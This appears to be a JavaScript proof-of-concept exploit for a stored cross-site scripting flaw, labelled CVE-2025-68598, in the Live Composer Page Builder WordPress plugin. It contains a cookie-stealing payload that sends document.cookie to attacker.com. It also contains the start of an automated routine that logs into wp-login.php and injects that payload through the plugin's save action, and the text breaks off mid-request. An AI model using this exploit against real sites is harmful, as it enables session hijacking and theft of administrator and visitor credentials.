// CVE-2025-68598 PoC - Stored XSS in Live Composer Page Builder
// Attack Vector: Inject malicious JavaScript via plugin input fields

// Payload example for XSS exploitation:
const xssPayload = '<script>alert(document.cookie)</script>';

// Alternative payload for cookie stealing:
const cookieTheftPayload = '<img src=x onerror="fetch(`https://attacker.com/log?c=`+document.cookie)">';

// Automated exploitation example:
async function exploitStoredXSS(targetUrl) {
    const loginUrl = targetUrl + '/wp-login.php';
    const pluginAdminUrl = targetUrl + '/wp-admin/admin.php?page=live_composer';
    
    // Step 1: Authenticate with low-privilege account
    await fetch(loginUrl, {
        method: 'POST',
        body: new URLSearchParams({
            'log': 'attacker_username',
            'pwd': 'attacker_password',
            'wp-submit': 'Log In'
        })
    });
    
    // Step 2: Inject XSS payload through plugin interface
    await fetch(pluginAdminUrl, {
        method: 'POST',
        body: new URLSearchParams({
            'action': 'save',
            'content': cookieTheftPayload,
            'post_id': '123'
        })
